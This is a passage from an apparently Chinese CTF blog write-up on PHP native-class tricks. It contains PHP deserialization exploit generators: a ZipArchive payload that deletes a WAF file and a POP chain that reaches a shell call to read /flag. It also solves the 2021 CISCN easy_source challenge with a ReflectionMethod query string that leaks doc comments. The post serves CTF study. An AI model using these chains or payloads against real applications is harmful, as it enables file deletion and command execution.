$a->file=new ZipArchive();
$a->filename='waf.txt';
$a->content=8;//或者ZipArchive::OVERWRITE
echo base64_encode(serialize($a));

之后构造链子绕过正则即可得到flag

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){   //admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
$a=new Game();
$a->username='admin';
$a->password='admin';
$a->register='admin';
$a->file=new Open();
$a->filename='a';
$a->content='n\l /flag';
echo base64_encode(serialize($a));

ReflectionMethod:获取类方法的相关信息

PHP: ReflectionMethod - Manual

ReflectionMethod 类报告了一个方法的有关信息。可以在 PHP 运行状态中,扩展分析 PHP 程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API

类摘要

class ReflectionMethod extends ReflectionFunctionAbstract {
/* 常量 */
public const int IS_STATIC;
public const int IS_PUBLIC;
public const int IS_PROTECTED;
public const int IS_PRIVATE;
public const int IS_ABSTRACT;
public const int IS_FINAL;
/* 属性 */
public string $class;
/* 继承的属性 */
public string $name;
/* 方法 */
public __construct(object|string $objectOrMethod, string $method)
public __construct(string $classMethod)
public static createFromMethodName(string $method): static
public static export(string $class, string $name, bool $return = false): string
public getClosure(?object $object = null): Closure
public getDeclaringClass(): ReflectionClass
public getModifiers(): int
public getPrototype(): ReflectionMethod
public hasPrototype(): bool
public invoke(?object $object, mixed ...$args): mixed
public invokeArgs(?object $object, array $args): mixed
public isAbstract(): bool
public isConstructor(): bool
public isDestructor(): bool
public isFinal(): bool
public isPrivate(): bool
public isProtected(): bool
public isPublic(): bool
public setAccessible(bool $accessible): void
public __toString(): string
/* 继承的方法 */
private ReflectionFunctionAbstract::__clone(): void
public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass
public ReflectionFunctionAbstract::getClosureThis(): ?object
public ReflectionFunctionAbstract::getClosureUsedVariables(): array
public ReflectionFunctionAbstract::getDocComment(): string|false
public ReflectionFunctionAbstract::getEndLine(): int|false
public ReflectionFunctionAbstract::getExtension(): ?ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName(): string|false
public ReflectionFunctionAbstract::getFileName(): string|false
public ReflectionFunctionAbstract::getName(): string
public ReflectionFunctionAbstract::getNamespaceName(): string
public ReflectionFunctionAbstract::getNumberOfParameters(): int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int
public ReflectionFunctionAbstract::getParameters(): array
public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::getShortName(): string
public ReflectionFunctionAbstract::getStartLine(): int|false
public ReflectionFunctionAbstract::getStaticVariables(): array
public ReflectionFunctionAbstract::getTentativeReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::hasReturnType(): bool
public ReflectionFunctionAbstract::hasTentativeReturnType(): bool
public ReflectionFunctionAbstract::inNamespace(): bool
public ReflectionFunctionAbstract::isClosure(): bool
public ReflectionFunctionAbstract::isDeprecated(): bool
public ReflectionFunctionAbstract::isGenerator(): bool
public ReflectionFunctionAbstract::isInternal(): bool
public ReflectionFunctionAbstract::isStatic(): bool
public ReflectionFunctionAbstract::isUserDefined(): bool
public ReflectionFunctionAbstract::isVariadic(): bool
public ReflectionFunctionAbstract::returnsReference(): bool
abstract public ReflectionFunctionAbstract::__toString(): void
}

这个考的不是很多,主要是考他继承的方法

ReflectionFunctionAbstract::getDocComment()
//获取类中各个函数注释内容

示例

<?php
class Flag{
    /**
     * flag{test}
     */
    public function givemeflag(){
        return 123;
    }
}
$a=new ReflectionMethod('Flag','givemeflag');
echo $a->getDocComment();

例题

[2021 CISCN]easy_source

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }

}

$rc=$_GET["rc"];   
$rb=$_GET["rb"];    
$ra=$_GET["ra"];    
$rd=$_GET["rd"];   
$method= new $rc($ra, $rb);   
var_dump($method->$rd());

关键是

$method= new $rc($ra, $rb);   
var_dump($method->$rd());

其实可以打FilesystemIterator+SplFileObject,但是由于题目描述以及题目名字的提示,flag在注释里,可以利用ReflectionMethod

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

参考

php原生类的总结_php 原生类-CSDN博客

『CTF Tricks』PHP-绕过open_basedir_directoryiterator php ctf-CSDN博客

0 条评论
某人
表情
可输入 255